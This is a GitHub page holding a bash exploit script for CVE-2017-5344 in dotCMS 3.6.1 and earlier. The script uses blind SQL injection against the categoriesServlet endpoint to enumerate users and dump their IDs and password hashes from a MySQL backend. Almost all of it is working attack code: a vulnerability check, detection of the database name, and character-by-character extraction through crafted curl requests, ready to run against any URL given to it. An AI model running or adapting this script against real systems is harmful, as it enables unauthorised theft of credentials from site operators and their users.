-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathdotcms-dump.sh
executable file
·233 lines (201 loc) · 4.59 KB
/
dotcms-dump.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
#!/bin/bash
#
# Dump password hashes from dotCMS <= 3.6.1 using blind boolean SQL injection.
# CVE: CVE-2017-5344
# Author: Ben Nott <pajexali@gmail.com>
# Date: January 2017
#
# Note this exploit is tuned for MySQL backends but can be adapted
# for other DMBS's.
show_usage() {
echo "Usage $0 [target]"
echo
echo "Where:"
echo -e "target\t...\thttp://target.example.com (no trailing slash, port optional)"
echo
echo "For example:"
echo
echo "$0 http://www.examplesite.com"
echo "$0 https://www.mycmssite.com:9443"
echo
exit 1
}
test_exploit() {
target=$1
res=$(curl -k -s -X 'GET' \
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \
"${target}/categoriesServlet?q=%5c%5c%27")
if [ $? -ne 0 ];
then
echo "Failed to connect. Check host and try again!"
exit 1
fi
if [ -z "$res" ];
then
echo "The target appears vulnerable. We're good to go!"
else
echo "The target isn't vulnerable."
exit 1
fi
}
dump_char() {
target=$1
char=$2
database=$3
index=$4
offset=$5
column=$6
avg_delay=$7
if [ -z "$offset" ];
then
offset=1
fi
if [[ $char != *"char("* ]];
then
char="%22${char}%22"
fi
if [ -z "$column" ];
then
column="password_"
fi
# Controls the avg delay of a FALSE
# request
if [ -z "$avg_delay" ];
then
avg_delay="0.100"
fi
res=$(curl -k -sS \
-w " %{time_total}" \
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \
"${target}/categoriesServlet?q=%5c%5c%27)+OR%2f%2a%2a%2f(SELECT(SUBSTRING((SELECT(${column})FROM(${database}.user_)LIMIT%2f%2a%2a%2f${index},1),${offset},1)))LIKE+BINARY+${char}%2f%2a%2a%2fORDER+BY+category.sort_order%23")
data=$(echo $res | awk '{print $1}')
rtt=$(echo $res | awk '{print $2}')
# Calculate boolean based on time delay and
# data presence.
has_delay=$(echo "${rtt}>${avg_delay}" | bc -l)
if [ ! -z "$data" ];
then
if [ $has_delay -eq 1 ];
then
echo "$char"
fi
fi
}
testdb() {
target=$1
res=$(dump_char $target 1 "dotcms" 1 1)
if [ ! -z "$res" ];
then
echo "dotcms"
else
res=$(dump_char $target 1 "dotcms2")
if [ ! -z "$res" ];
then
echo "dotcms2"
fi
fi
}
convert_char() {
char=$1
conv="$char"
if [ "$char" == "char(58)" ];
then
conv=":"
elif [ "$char" == "char(47)" ];
then
conv="/"
elif [ "$char" == "char(61)" ];
then
conv="="
elif [ "$char" == "char(45)" ];
then
conv="-"
fi
echo -n "$conv"
}
a2chr() {
a=$1
printf 'char(%02d)' \'$a
}
n2chr() {
n=$1
printf 'char(%d)' $n
}
chr2a() {
chr=$1
chr=$(echo $chr | sed -e 's/char(//g' -e 's/)//g')
chr=`printf \\\\$(printf '%03o' $chr)`
echo -n $chr
}
iter_chars() {
target=$1
db=$2
user=$3
offset=$4
column=$5
for c in {32..36} {38..94} {96..126}
do
c=$(n2chr $c)
res=$(dump_char $target $c $db $user $offset $column)
if [ ! -z "$res" ];
then
chr2a $res
break
fi
done
}
exploit() {
target=$1
db=$(testdb $target)
if [ -z "$db" ];
then
echo "Unable to identify database name used by dotcms instance!"
exit 1
fi
echo "Dumping users and passwords from database..."
echo
for user in $(seq 0 1023);
do
validuser=1
echo -n "| $user | "
for offset in $(seq 1 1024);
do
res=$(iter_chars $target $db $user $offset "userid")
if [ -z "$res" ];
then
if [ $offset -eq 1 ];
then
validuser=0
fi
break
fi
echo -n "$res";
done
if [ $validuser -eq 1 ];
then
printf " | "
else
printf " |\n"
break
fi
for offset in $(seq 1 1024);
do
res=$(iter_chars $target $db $user $offset "password_")
if [ -z "$res" ];
then
break
fi
echo -n "$res";
done
printf " |\n"
done
echo
echo "Dumping complete!"
}
target=$1
if [ -z "$target" ];
then
show_usage
fi
test_exploit $target
exploit $target